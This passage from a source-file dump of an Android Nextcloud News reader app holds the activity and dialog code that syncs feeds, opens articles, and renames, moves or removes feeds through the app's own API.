checkSelfPermission(Manifest.permission.FOREGROUND_SERVICE) == PackageManager.PERMISSION_GRANTED) {\n                Log.v(\"Permission error\",\"You have permission\");\n                startDownloadWebPagesForOfflineReading();\n            } else {\n                Log.e(\"Permission error\",\"Asking for permission\");\n                requestPermissions(new String[]{Manifest.permission.WRITE_EXTERNAL_STORAGE, Manifest.permission.FOREGROUND_SERVICE}, REQUEST_CODE_PERMISSION_DOWNLOAD_WEB_ARCHIVE);\n            }\n        } else { //you dont need to worry about these stuff below api level 23\n            Log.v(\"Permission error\",\"You already have the permission\");\n            startDownloadWebPagesForOfflineReading();\n        }\n    }\n\n\tprivate void startDownloadWebPagesForOfflineReading() {\n        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {\n            startForegroundService(new Intent(this, DownloadWebPageService.class));\n        } else {\n            startService(new Intent(this, DownloadWebPageService.class));\n        }\n    }\n\n\tprivate void DownloadMoreItems() {\n\t\tfinal NewsReaderDetailFragment ndf = getNewsReaderDetailFragment();\n\n\t\t// Folder is selected.. download more items for all feeds in this folder\n\t\tif(ndf.getIdFeed() == null) {\n\t\t\tLong idFolder = ndf.getIdFolder();\n\n\t\t\tList<Integer> specialFolders = Arrays.asList(\n\t\t\t\t\tSubscriptionExpandableListAdapter.SPECIAL_FOLDERS.ALL_UNREAD_ITEMS.getValue(),\n\t\t\t\t\tSubscriptionExpandableListAdapter.SPECIAL_FOLDERS.ALL_STARRED_ITEMS.getValue(),\n\t\t\t\t\tSubscriptionExpandableListAdapter.SPECIAL_FOLDERS.ALL_ITEMS.getValue()\n\t\t\t);\n\t\t\t// if a special folder is selected, we can start the sync\n\t\t\tif (specialFolders.contains(idFolder.intValue())) {\n\t\t\t\tstartSync();\n\t\t\t} else {\n\t\t\t\t// Otherwise load more items for that particular folder and all its feeds\n\t\t\t\tDatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(this);\n\t\t\t\tfor (Feed feed : dbConn.getFolderById(idFolder).getFeedList()) {\n\t\t\t\t\tdownloadMoreItemsForFeed(feed.getId());\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\t// Single feed is selected.. download more items\n\t\t\tdownloadMoreItemsForFeed(ndf.getIdFeed());\n\t\t}\n\n\t\tToast.makeText(this, getString(R.string.toast_GettingMoreItems), Toast.LENGTH_SHORT).show();\n\t}\n\n\t@SuppressLint(\"CheckResult\")\n\tprivate void downloadMoreItemsForFeed(final Long feedId) {\n\t\tCompletable.fromAction(new Action() {\n\t\t\t@Override\n\t\t\tpublic void run() throws Exception {\n\t\t\t\tDatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(NewsReaderListActivity.this);\n\t\t\t\tRssItem rssItem = dbConn.getLowestRssItemIdByFeed(feedId);\n\t\t\t\tlong offset = Long.MAX_VALUE;\n\t\t\t\tif(rssItem != null) {\n\t\t\t\t\toffset = rssItem.getId();\n\t\t\t\t}\n\t\t\t\tint type = 0; // the type of the query (Feed: 0, Folder: 1, Starred: 2, All: 3)\n\n\t\t\t\tList<RssItem> buffer = mApi.getNewsAPI().items(100, offset, type, feedId, true, false).execute().body();\n\t\t\t\tRssItemObservable.performDatabaseBatchInsert(dbConn, buffer);\n\t\t\t}\n\t\t})\n\t\t\t\t.subscribeOn(Schedulers.newThread())\n\t\t\t\t.observeOn(AndroidSchedulers.mainThread())\n\t\t\t\t.subscribe(() -> {\n\t\t\t\t\tupdateCurrentRssView();\n\t\t\t\t\tLog.v(TAG, \"Finished Download extra items..\");\n\t\t\t\t}, throwable -> {\n\t\t\t\t\tthrowable.printStackTrace();\n\t\t\t\t\tThrowable e = OkHttpSSLClient.HandleExceptions(throwable);\n\t\t\t\t\tToast.makeText(NewsReaderListActivity.this, getString(R.string.login_dialog_text_something_went_wrong) + \" - \" + e.getMessage(), Toast.LENGTH_SHORT).show();\n\t\t\t\t});\n\t}\n\n    @Override\n    protected void onActivityResult(int requestCode, int resultCode, final Intent data) {\n        super.onActivityResult(requestCode, resultCode, data);\n\n        if(resultCode == RESULT_OK) {\n\t\t\tupdateListView();\n\t\t\treloadCountNumbersOfSlidingPaneAdapter();\n        }\n\n\t\tif (requestCode == RESULT_LOGIN) {\n\t\t\tIntent intent = new Intent();\n\t\t\tintent.putExtra(PREF_SERVER_SETTINGS, true);\n\t\t\tsetResult(RESULT_OK, intent);\n\t\t}\n\n        if(requestCode == RESULT_SETTINGS) {\n        \t// Extra is set if user entered/modified server settings\n        \tif (data == null || data.getBooleanExtra(PREF_SERVER_SETTINGS,false)) {\n\t\t\t\tresetUiAndStartSync();\n\t\t\t} else {\n\t\t\t\t//Update settings of image Loader\n\t\t\t\tmApi.initApi(new NextcloudAPI.ApiConnectedListener() {\n\t\t\t\t\t@Override\n\t\t\t\t\tpublic void onConnected() {\n\t\t\t\t\t\tensureCorrectTheme(data);\n\t\t\t\t\t}\n\n\t\t\t\t\t@Override\n\t\t\t\t\tpublic void onError(Exception ex) {\n\t\t\t\t\t\tensureCorrectTheme(data);\n\t\t\t\t\t\tex.printStackTrace();\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n        } else if(requestCode == RESULT_ADD_NEW_FEED) {\n            if(data != null) {\n                boolean val = data.getBooleanExtra(NewFeedActivity.ADD_NEW_SUCCESS, false);\n                if (val) {\n                    startSync();\n                }\n            }\n        } else if(requestCode == RESULT_LOGIN) {\n            resetUiAndStartSync();\n        }\n\n\n        try {\n            AccountImporter.onActivityResult(requestCode, resultCode, data, this, account -> {\n                Log.d(TAG, \"accountAccessGranted() called with: account = [\" + account + \"]\");\n                mApi.initApi(new NextcloudAPI.ApiConnectedListener() {\n                    @Override\n                    public void onConnected() {\n                        Log.d(TAG, \"onConnected() called\");\n                    }\n\n                    @Override\n                    public void onError(Exception ex) {\n                        Log.e(TAG, \"onError() called with:\", ex);\n                    }\n                });\n\n            });\n        } catch (AccountImportCancelledException ignored) {\n        }\n    }\n\n    @Override\n    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {\n        super.onRequestPermissionsResult(requestCode, permissions, grantResults);\n\n        if(grantResults.length > 0 &&  grantResults[0] == PackageManager.PERMISSION_GRANTED) {\n            if(requestCode == REQUEST_CODE_PERMISSION_DOWNLOAD_WEB_ARCHIVE) {\n                startDownloadWebPagesForOfflineReading();\n            } else {\n                Log.d(TAG, \"No action defined here yet..\");\n            }\n        }\n    }\n\n    private void ensureCorrectTheme(Intent data) {\n        String oldListLayout = data.getStringExtra(SettingsActivity.RI_FEED_LIST_LAYOUT);\n        String newListLayout = mPrefs.getString(SettingsActivity.SP_FEED_LIST_LAYOUT, \"0\");\n        boolean themeChanged = !newListLayout.equals(oldListLayout);\n        boolean cacheWasCleared = data.hasExtra(SettingsActivity.RI_CACHE_CLEARED);\n\n        Log.d(TAG, \"themeChanged: \" + themeChanged + \" cacheWasCleared: \" + cacheWasCleared);\n\n        if (ThemeChooser.themeRequiresRestartOfUI() || themeChanged) {\n            NewsReaderListActivity.this.recreate();\n        } else if (cacheWasCleared) {\n            resetUiAndStartSync();\n        }\n    }\n\n    @VisibleForTesting\n\tpublic NewsReaderListFragment getSlidingListFragment() {\n\t\treturn ((NewsReaderListFragment) getSupportFragmentManager().findFragmentById(R.id.left_drawer));\n\t}\n\n    @VisibleForTesting\n    public NewsReaderDetailFragment getNewsReaderDetailFragment() {\n\t\t return (NewsReaderDetailFragment) getSupportFragmentManager().findFragmentById(R.id.content_frame);\n\t}\n\n    public void startLoginActivity() {\n        Intent loginIntent = new Intent(this, LoginDialogActivity.class);\n        startActivityForResult(loginIntent, RESULT_LOGIN);\n    }\n\n    private void resetUiAndStartSync() {\n\t\treloadSidebar();\n\t\tupdateCurrentRssView();\n\t\tstartSync();\n\t}\n\n\tprivate void updateListView() {\n\t\tgetNewsReaderDetailFragment().notifyDataSetChangedOnAdapter();\n\t}\n\n\t@Override\n\tpublic void onClick(RssItemViewHolder vh, int position) {\n\t\tFeed feed = vh.getRssItem().getFeed();\n\n\t\t// check @NewsReadListDialogFragment\n\t\t// open feed in means:\n\t\t// 1: openInDetailedView\n\t\t// 2: openInBrowserCct\n\t\t// 3: openInBrowserExternal\n\t\tLong openIn = feed.getOpenIn();\n\n\t\tUri currentUrl = Uri.parse(vh.getRssItem().getLink());\n\n\t\tif (openIn == null) {\n\t\t\tif (mPrefs.getBoolean(SettingsActivity.CB_SKIP_DETAILVIEW_AND_OPEN_BROWSER_DIRECTLY_STRING, false)) {\n\n\t\t\t\t//Choose Browser based on user settings\n\t\t\t\t//modified copy from NewsDetailFragment.java:loadUrl(String url)\n\t\t\t\tint selectedBrowser = Integer.parseInt(mPrefs.getString(SettingsActivity.SP_DISPLAY_BROWSER, \"0\"));\n\t\t\t\tswitch (selectedBrowser) {\n\t\t\t\t\tcase 0, 2 -> openRssItemInCustomTab(currentUrl);\n\t\t\t\t\tcase 1 -> openRssItemInExternalBrowser(currentUrl);\n\t\t\t\t}\n\n\t\t\t\t((NewsListRecyclerAdapter) getNewsReaderDetailFragment().getRecyclerView().getAdapter()).changeReadStateOfItem(vh, true);\n\t\t\t} else {\n\t\t\t\topenRssItemInDetailedView(position);\n\t\t\t}\n\t\t} else {\n\t\t\tswitch (openIn.intValue()) {\n\t\t\t\tcase 1 -> openRssItemInDetailedView(position);\n\t\t\t\tcase 2 -> openRssItemInCustomTab(currentUrl);\n\t\t\t\tcase 3 -> openRssItemInExternalBrowser(currentUrl);\n\t\t\t\tdefault ->\n\t\t\t\t\t\tthrow new RuntimeException(\"Unreachable: openIn has illegal value \" + openIn);\n\t\t\t}\n\t\t}\n\t}\n\n\tprivate void openRssItemInDetailedView(int position) {\n\t\tIntent intentNewsDetailAct = new Intent(this, NewsDetailActivity.class);\n\n\t\tintentNewsDetailAct.putExtra(NewsReaderListActivity.ITEM_ID, position);\n\t\tintentNewsDetailAct.putExtra(NewsReaderListActivity.TITLE, getNewsReaderDetailFragment().getTitle());\n\t\tstartActivityForResult(intentNewsDetailAct, Activity.RESULT_CANCELED);\n\t}\n\n\tprivate void openRssItemInCustomTab(Uri currentUrl) {\n\t\tCustomTabsIntent.Builder builder = new CustomTabsIntent.Builder()\n\t\t\t\t.setShowTitle(true)\n\t\t\t\t.setStartAnimations(this, R.anim.slide_in_right, R.anim.slide_out_left)\n\t\t\t\t.setExitAnimations(this, R.anim.slide_in_left, R.anim.slide_out_right)\n\t\t\t\t.setShareState(CustomTabsIntent.SHARE_STATE_ON);\n\t\tbuilder.build().launchUrl(this, currentUrl);\n\t}\n\n\tprivate void openRssItemInExternalBrowser(Uri currentUrl) {\n\t\tIntent browserIntent = new Intent(Intent.ACTION_VIEW, currentUrl);\n\t\tstartActivity(browserIntent);\n\t}\n\n\tprivate void prepareAccountMenuItem(MenuItem accountMenuItem) {\n\t\tif (currentUser == null || currentUser.getId() == null) {\n\t\t\t// the default menu item is fine if no user info is present\n\t\t\treturn;\n\t\t}\n\n\t\taccountMenuItem.setTitle(currentUser.getDisplayName());\n\n\t\tString ownCloudRootPath = mPrefs.getString(SettingsActivity.EDT_OWNCLOUDROOTPATH_STRING, null);\n\t\tString avatarUrl = currentUser.getAvatarUrl(ownCloudRootPath);\n\n\t\tGlide.with(this)\n\t\t\t\t.asDrawable()\n\t\t\t\t.load(avatarUrl)\n\t\t\t\t.diskCacheStrategy(DiskCacheStrategy.DATA)\n\t\t\t\t.placeholder(R.drawable.ic_baseline_account_circle_24)\n\t\t\t\t.error(R.drawable.ic_baseline_account_circle_24)\n\t\t\t\t.circleCrop()\n\t\t\t\t.into(new CustomTarget<Drawable>(Target.SIZE_ORIGINAL, Target.SIZE_ORIGINAL) {\n\t\t\t\t\t@Override\n\t\t\t\t\tpublic void onResourceReady(@NonNull Drawable resource, @Nullable Transition<? super Drawable> transition) {\n\t\t\t\t\t\taccountMenuItem.setIcon(resource);\n\t\t\t\t\t}\n\n\t\t\t\t\t@Override\n\t\t\t\t\tpublic void onLoadCleared(@Nullable Drawable placeholder) {\n\t\t\t\t\t\taccountMenuItem.setIcon(R.drawable.ic_baseline_account_circle_24);\n\t\t\t\t\t}\n\t\t\t\t});\n\t}\n\n\t// private void openRssItemInInternalBrowser(Uri currentUrl) {\n\t// \tgetNewsReaderDetailFragment().binding.webview.loadUrl(currentUrl.toString());\n\t// }\n\n\t@Override\n\tpublic boolean onLongClick(RssItemViewHolder vh, int position) {\n\t\tRssItem rssItem = vh.getRssItem();\n\t\tDialogFragment newFragment =\n\t\t\t\tNewsDetailImageDialogFragment.newInstanceUrl(rssItem.getTitle(), rssItem.getLink());\n\t\tFragmentTransaction ft = getSupportFragmentManager().beginTransaction();\n\t\tFragment prev = getSupportFragmentManager().findFragmentByTag(\"menu_fragment_dialog\");\n\t\tif (prev != null) {\n\t\t\tft.remove(prev);\n\t\t}\n\t\tft.addToBackStack(null);\n\t\tnewFragment.show(ft, \"menu_fragment_dialog\");\n\t\treturn true;\n\t}\n\n\t@Override\n\tpublic boolean onQueryTextSubmit(String query) {\n\t\tclearSearchViewFocus();\n\t\treturn true;\n\t}\n\n\t@Override\n\tpublic boolean onQueryTextChange(String newText) {\n        if (searchPublishSubject == null) {\n\t\t\tsearchPublishSubject = PublishSubject.create();\n\t\t\tsearchPublishSubject\n\t\t\t\t\t.debounce(400, TimeUnit.MILLISECONDS)\n\t\t\t\t\t.distinctUntilChanged()\n\t\t\t\t\t.map(s -> getNewsReaderDetailFragment().performSearch(s))\n\t\t\t\t\t.subscribeOn(Schedulers.io())\n\t\t\t\t\t.observeOn(AndroidSchedulers.mainThread())\n\t\t\t\t\t.subscribeWith(getNewsReaderDetailFragment().searchResultObserver);\n\n        }\n        searchPublishSubject.onNext(newText);\n        return true;\n    }\n\n    public void clearSearchViewFocus() {\n        mSearchView.clearFocus();\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/NewsReaderListDialogFragment.java",
    "content": "package de.luhmer.owncloudnewsreader;\n\nimport android.animation.AnimatorListenerAdapter;\nimport android.app.Activity;\nimport android.content.Intent;\nimport android.net.Uri;\nimport android.os.Bundle;\nimport android.text.Editable;\nimport android.text.TextWatcher;\nimport android.util.Log;\nimport android.view.LayoutInflater;\nimport android.view.View;\nimport android.view.ViewGroup;\nimport android.widget.ArrayAdapter;\nimport android.widget.Toast;\n\nimport androidx.fragment.app.DialogFragment;\n\nimport java.util.ArrayList;\nimport java.util.LinkedHashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport javax.inject.Inject;\n\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.database.model.Feed;\nimport de.luhmer.owncloudnewsreader.database.model.Folder;\nimport de.luhmer.owncloudnewsreader.databinding.FragmentDialogFeedoptionsBinding;\nimport de.luhmer.owncloudnewsreader.di.ApiProvider;\nimport de.luhmer.owncloudnewsreader.helper.FavIconHandler;\nimport io.reactivex.rxjava3.android.schedulers.AndroidSchedulers;\nimport io.reactivex.rxjava3.annotations.NonNull;\nimport io.reactivex.rxjava3.schedulers.Schedulers;\n\n\npublic class NewsReaderListDialogFragment extends DialogFragment {\n\n    protected @Inject ApiProvider mApi;\n\n    private long mFeedId;\n    private String mDialogTitle;\n    private String mDialogText;\n    private String mDialogIconUrl;\n\n    private LinkedHashMap<String, MenuAction> mMenuItems;\n    private NewsReaderListActivity parentActivity;\n\n    protected FragmentDialogFeedoptionsBinding binding;\n\n\n    static NewsReaderListDialogFragment newInstance(long feedId, String dialogTitle, String iconurl, String feedurl) {\n        NewsReaderListDialogFragment f = new NewsReaderListDialogFragment();\n\n        Bundle args = new Bundle();\n        args.putLong(\"feedid\", feedId);\n        args.putString(\"title\", dialogTitle);\n        args.putString(\"iconurl\", iconurl);\n        args.putString(\"feedurl\", feedurl);\n\n        f.setArguments(args);\n        return f;\n    }\n\n\n    @Override\n    public void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        ((NewsReaderApplication) requireActivity().getApplication()).getAppComponent().injectFragment(this);\n\n        final Bundle args = requireArguments();\n        mFeedId = args.getLong(\"feedid\");\n        mDialogTitle = args.getString(\"title\");\n        mDialogIconUrl = args.getString(\"iconurl\");\n        mDialogText = args.getString(\"feedurl\");\n        mMenuItems = new LinkedHashMap<>();\n\n        mMenuItems.put(getString(R.string.action_feed_rename), () -> showRenameFeedView(mFeedId, mDialogTitle));\n\n        mMenuItems.put(getString(R.string.action_feed_remove), () -> showRemoveFeedView(mFeedId));\n\n        mMenuItems.put(getString(R.string.action_feed_move), () -> showMoveFeedView(mFeedId));\n\n        mMenuItems.put(getString(R.string.action_feed_notification_settings), () -> showNotificationSettingsView(mFeedId));\n\n        mMenuItems.put(getString(R.string.action_feed_open_in), () -> showOpenSettingsView(mFeedId));\n\n        setStyle(DialogFragment.STYLE_NO_TITLE, R.style.FloatingDialog);\n    }\n\n\n    @Override\n    public View onCreateView(@NonNull LayoutInflater inflater, ViewGroup container,\n                             Bundle savedInstanceState) {\n\n        binding = FragmentDialogFeedoptionsBinding.inflate(inflater, container, false);\n\n        FavIconHandler favIconHandler = new FavIconHandler(requireContext());\n        favIconHandler.loadFavIconForFeed(mDialogIconUrl, binding.icMenuFeedicon);\n\n        binding.tvMenuTitle.setText(mDialogTitle);\n        binding.tvMenuText.setText(mDialogText);\n\n        binding.tvMenuText.setOnClickListener(v -> {\n            if (mDialogText != null) {\n                Intent i = new Intent(Intent.ACTION_VIEW);\n                i.setData(Uri.parse(mDialogText));\n                startActivity(i);\n            }\n        });\n\n        List<String> menuItemsList = new ArrayList<>(mMenuItems.keySet());\n\n        final ArrayAdapter<String> arrayAdapter = new ArrayAdapter<>(\n                getActivity(),\n                R.layout.fragment_dialog_listviewitem,\n                menuItemsList);\n\n        binding.lvMenuList.setAdapter(arrayAdapter);\n\n        binding.lvMenuList.setOnItemClickListener((adapterView, view, i, l) -> {\n            String key = arrayAdapter.getItem(i);\n            MenuAction mAction = mMenuItems.get(key);\n            mAction.execute();\n        });\n        return binding.getRoot();\n    }\n\n\n    public void setActivity(Activity parentActivity) {\n        this.parentActivity =  (NewsReaderListActivity)parentActivity;\n\n    }\n\n\n    public void showProgress(final boolean show) {\n        int shortAnimTime = getResources().getInteger(android.R.integer.config_shortAnimTime);\n\n        binding.renameFeedDialog.setVisibility(show ? View.GONE : View.VISIBLE);\n        binding.removeFeedDialog.setVisibility(show ? View.GONE : View.VISIBLE);\n\n        binding.progressView.setVisibility(show ? View.VISIBLE : View.GONE);\n        binding.progressView.animate().setDuration(shortAnimTime).alpha(\n                show ? 1 : 0).setListener(new AnimatorListenerAdapter() {\n        });\n    }\n\n\n    private void showRenameFeedView(final long feedId, final String feedName) {\n        binding.renamefeedFeedname.setText(feedName);\n        binding.buttonRenameConfirm.setEnabled(false);\n\n        binding.lvMenuList.setVisibility(View.GONE);\n        binding.renameFeedDialog.setVisibility(View.VISIBLE);\n\n        binding.renamefeedFeedname.addTextChangedListener(new TextWatcher() {\n            @Override\n            public void afterTextChanged(Editable s) {}\n\n            @Override\n            public void beforeTextChanged(CharSequence s, int start,\n                                          int count, int after) {}\n\n            @Override\n            public void onTextChanged(CharSequence s, int start,\n                                      int before, int count) {\n                binding.buttonRenameConfirm.setEnabled(!s.toString().equals(feedName) && s.length() != 0);\n            }\n        });\n\n        binding.buttonRenameCancel.setOnClickListener(v -> dismiss());\n\n        binding.buttonRenameConfirm.setOnClickListener(new View.OnClickListener() {\n            public void onClick(View v) {\n                showProgress(true);\n                setCancelable(false);\n                getDialog().setCanceledOnTouchOutside(false);\n\n\n                Map<String, String> paramMap = new LinkedHashMap<>();\n                paramMap.put(\"feedTitle\", binding.renamefeedFeedname.getText().toString());\n                mApi.getNewsAPI().renameFeed(feedId, paramMap)\n                        .subscribeOn(Schedulers.newThread())\n                        .observeOn(AndroidSchedulers.mainThread())\n                        .subscribe(() -> {\n                            DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(getContext());\n                            dbConn.renameFeedById(mFeedId, binding.renamefeedFeedname.getText().toString());\n\n                            parentActivity.getSlidingListFragment().reloadAdapter();\n                            parentActivity.startSync();\n\n                            dismiss();\n                        }, throwable -> {\n                            Toast.makeText(getContext().getApplicationContext(), getString(R.string.login_dialog_text_something_went_wrong) + \" - \" + throwable.getMessage(), Toast.LENGTH_LONG).show();\n                            dismiss();\n                        });\n            }\n        });\n    }\n\n\n    private void showRemoveFeedView(final long feedId) {\n        binding.lvMenuList.setVisibility(View.GONE);\n        binding.removeFeedDialog.setVisibility(View.VISIBLE);\n\n        binding.buttonRemoveCancel.setOnClickListener(v -> dismiss());\n\n        binding.buttonRemoveConfirm.setOnClickListener(v -> {\n            showProgress(true);\n            setCancelable(false);\n            getDialog().setCanceledOnTouchOutside(false);\n\n\n            mApi.getNewsAPI().deleteFeed(feedId)\n                    .subscribeOn(Schedulers.newThread())\n                    .observeOn(AndroidSchedulers.mainThread())\n                    .subscribe(() -> {\n                        DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(getContext());\n                        dbConn.removeFeedById(mFeedId);\n\n                        Long currentFeedId = parentActivity.getNewsReaderDetailFragment().getIdFeed();\n                        if(currentFeedId != null && currentFeedId == mFeedId) {\n                            parentActivity.switchToAllUnreadItemsFolder();\n                        }\n                        parentActivity.getSlidingListFragment().reloadAdapter();\n                        parentActivity.updateCurrentRssView();\n\n                        dismiss();\n                    }, throwable -> {\n                        Toast.makeText(getContext().getApplicationContext(), getString(R.string.login_dialog_text_something_went_wrong) + \" - \" + throwable.getMessage(), Toast.LENGTH_LONG).show();\n                        dismiss();\n                    });\n        });\n    }\n\n\n    /**\n     * https://github.com/nextcloud/news/blob/master/docs/externalapi/Legacy.md#move-a-feed-to-a-different-folder\n     * @param mFeedId Feed to move\n     */\n    private void showMoveFeedView(final long mFeedId) {\n        binding.lvMenuList.setVisibility(View.GONE);\n        binding.moveFeedDialog.setVisibility(View.VISIBLE);\n\n        binding.tvMenuText.setText(getString(R.string.feed_move_list_description));\n\n        DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(getContext());\n        final List<Folder> folders = new ArrayList<>(dbConn.getListOfFolders());\n        folders.add(new Folder(0, getString(R.string.move_feed_root_folder))); // root folder (fake insert it here since this folder is not synced)\n        List<String> folderNames = new ArrayList<>();\n\n        for(Folder folder: folders) {\n            folderNames.add(folder.getLabel());\n        }\n\n        ArrayAdapter<String> folderAdapter = new ArrayAdapter<> (getActivity(), R.layout.dialog_list_folder, android.R.id.text1, folderNames);\n        binding.folderList.setAdapter(folderAdapter);\n        binding.folderList.setOnItemClickListener((parent, view, position, id) -> {\n            final Folder folder = folders.get(position);\n\n            showProgress(true);\n            setCancelable(false);\n            getDialog().setCanceledOnTouchOutside(false);\n\n            Map<String, Long> paramMap = new LinkedHashMap<>();\n            paramMap.put(\"folderId\", folder.getId());\n            mApi.getNewsAPI().moveFeed(mFeedId, paramMap)\n                    .subscribeOn(Schedulers.newThread())\n                    .observeOn(AndroidSchedulers.mainThread())\n                    .subscribe(() -> {\n                        DatabaseConnectionOrm dbConn1 = new DatabaseConnectionOrm(getContext());\n                        Feed feed = dbConn1.getFeedById(mFeedId);\n                        feed.setFolder(folder);\n\n                        parentActivity.getSlidingListFragment().reloadAdapter();\n                        parentActivity.startSync();\n\n                        dismiss();\n                    }, throwable -> {\n                        Toast.makeText(getContext().getApplicationContext(), getString(R.string.login_dialog_text_something_went_wrong) + \" - \" + throwable.getMessage(), Toast.LENGTH_LONG).show();\n                        dismiss();\n                    });\n        });\n    }\n\n    private void showOpenSettingsView(final long feedId) {\n        binding.lvMenuList.setVisibility(View.GONE);\n        binding.openFeedDialog.setVisibility(View.VISIBLE);\n\n        DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(getContext());\n        Feed feed = dbConn.getFeedById(feedId);\n        Long openIn = feed.getOpenIn();\n\n        binding.openInUseGeneralSetting.setChecked(false);\n        binding.openInDetailedView.setChecked(false);\n        binding.openInBrowserCct.setChecked(false);\n        binding.openInBrowserExternal.setChecked(false);\n\n        if (openIn == null) {\n            binding.openInUseGeneralSetting.setChecked(true);\n        } else {\n            switch (openIn.intValue()) {\n                case 1:\n                    binding.openInDetailedView.setChecked(true);\n                    break;\n                case 2:\n                    binding.openInBrowserCct.setChecked(true);\n                    break;\n                case 3:\n                    binding.openInBrowserExternal.setChecked(true);\n                    break;\n                default:\n                    throw new RuntimeException(\"Unreachable: openIn has illegal value \" + openIn);\n            }\n        }\n\n        binding.openInUseGeneralSetting.setOnCheckedChangeListener((button, checked)\n                -> setOpenInForFeed(feed, null, checked));\n        binding.openInDetailedView.setOnCheckedChangeListener((button, checked)\n                -> setOpenInForFeed(feed, 1L, checked));\n        binding.openInBrowserCct.setOnCheckedChangeListener((button, checked)\n                -> setOpenInForFeed(feed, 2L, checked));\n        binding.openInBrowserExternal.setOnCheckedChangeListener((button, checked)\n                -> setOpenInForFeed(feed, 3L, checked));\n    }\n\n    private void showNotificationSettingsView(final long feedId) {\n        binding.lvMenuList.setVisibility(View.GONE);\n        binding.notificationFeedDialog.setVisibility(View.VISIBLE);\n\n        DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(getContext());\n        Feed feed = dbConn.getFeedById(feedId);\n        String notificationChannel = feed.getNotificationChannel();\n\n        binding.notificationSettingNone.setChecked(false);\n        binding.notificationSettingDefault.setChecked(false);\n        binding.notificationSettingUnique.setChecked(false);\n\n        switch (notificationChannel) {\n            case \"none\":\n                binding.notificationSettingNone.setChecked(true);\n                break;\n            case \"default\":\n                binding.notificationSettingDefault.setChecked(true);\n                break;\n            default:\n                binding.notificationSettingUnique.setChecked(true);\n                break;\n        }\n\n        binding.notificationSettingNone.setOnCheckedChangeListener((button, checked) ->\n                setNotificationChannelForFeed(feed, \"none\", checked));\n        binding.notificationSettingDefault.setOnCheckedChangeListener((button, checked) ->\n                setNotificationChannelForFeed(feed, \"default\", checked));\n        binding.notificationSettingUnique.setOnCheckedChangeListener((button, checked) ->\n                // Use the feed name as notification channel name\n                setNotificationChannelForFeed(feed, feed.getFeedTitle(), checked));\n    }\n\n    private void setOpenInForFeed(Feed feed, Long openIn, Boolean checked) {\n        if (checked) {\n            feed.setOpenIn(openIn);\n            feed.update();\n            this.showOpenSettingsView(feed.getId()); // reload dialog\n        }\n    }\n\n    private void setNotificationChannelForFeed(Feed feed, String channel, Boolean checked) {\n        if (checked) {\n            feed.setNotificationChannel(channel);\n            feed.update();\n            this.showNotificationSettingsView(feed.getId()); // reload dialog\n        }\n    }\n\n    interface MenuAction {\n        void execute();\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/NewsReaderListFragment.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader;\n\nimport static de.luhmer.owncloudnewsreader.Constants.USER_INFO_STRING;\nimport static de.luhmer.owncloudnewsreader.LoginDialogActivity.RESULT_LOGIN;\n\nimport android.content.Context;\nimport android.content.Intent;\nimport android.content.SharedPreferences;\nimport android.os.Bundle;\nimport android.util.Base64;\nimport android.util.Log;\nimport android.view.LayoutInflater;\nimport android.view.View;\nimport android.view.View.OnCreateContextMenuListener;\nimport android.view.ViewGroup;\nimport android.widget.AdapterView;\nimport android.widget.ExpandableListView;\nimport android.widget.ExpandableListView.OnChildClickListener;\n\nimport androidx.annotation.NonNull;\nimport androidx.annotation.VisibleForTesting;\nimport androidx.core.view.ViewCompat;\nimport androidx.core.view.WindowInsetsCompat;\nimport androidx.fragment.app.Fragment;\n\nimport com.google.android.material.navigation.NavigationView;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.io.Serializable;\n\nimport javax.inject.Inject;\n\nimport de.luhmer.owncloudnewsreader.ListView.SubscriptionExpandableListAdapter;\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.databinding.FragmentNewsreaderListBinding;\nimport de.luhmer.owncloudnewsreader.di.ApiProvider;\nimport de.luhmer.owncloudnewsreader.interfaces.ExpListTextClicked;\nimport de.luhmer.owncloudnewsreader.model.AbstractItem;\nimport de.luhmer.owncloudnewsreader.model.ConcreteFeedItem;\nimport de.luhmer.owncloudnewsreader.model.OcsUser;\nimport de.luhmer.owncloudnewsreader.reader.nextcloud.OcsAPI;\nimport io.reactivex.rxjava3.android.schedulers.AndroidSchedulers;\nimport io.reactivex.rxjava3.core.Observer;\nimport io.reactivex.rxjava3.disposables.Disposable;\nimport io.reactivex.rxjava3.schedulers.Schedulers;\n\n/**\n * A list fragment representing a list of NewsReader. This fragment also\n * supports tablet devices by allowing list items to be given an 'activated'\n * state upon selection. This helps indicate which item is currently being\n * viewed in a {@link NewsReaderDetailFragment}.\n * <p>\n * Activities containing this fragment MUST implement the {@link Callbacks}\n * interface.\n */\npublic class NewsReaderListFragment extends Fragment implements OnCreateContextMenuListener {\n\n    protected @Inject ApiProvider mApi;\n    protected 